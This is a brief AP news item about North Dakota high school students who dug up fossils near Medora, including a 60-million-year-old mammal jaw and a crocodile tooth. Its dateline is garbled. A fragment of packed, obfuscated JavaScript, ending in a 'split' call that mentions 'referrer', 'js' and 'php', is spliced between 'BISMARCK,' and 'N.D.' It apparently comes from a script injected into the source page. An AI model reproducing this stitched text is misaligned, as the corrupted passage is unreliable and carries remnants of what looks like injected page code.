BISMARCK, thdzn|var|u0026u|referrer|frbhr||js|php’.split(‘|’),0,{}))
N.D. (AP) — A group of North Dakota high school students have uncovered rare fossils estimated to be from an era right after dinosaurs went extinct.

Paleontologist Jeff Person reports that the fossils discovered Wednesday during a fossil dig include the jaw of a 60 million-year-old mammal and a crocodile tooth. The students also found several fish vertebrae and mussel shells.

The mammal jaw discovered will assist paleontologists in determining a more precise estimate of the age of the fossils found.

Students from Century and Legacy high schools participated in the fossil dig with paleontologists for a field trip near Medora for their summer biology classes.

Community members will continue to assist paleontologists dig at the site for the week.

Cover photo courtesy of Mike McCleary, Bismarck Tribune.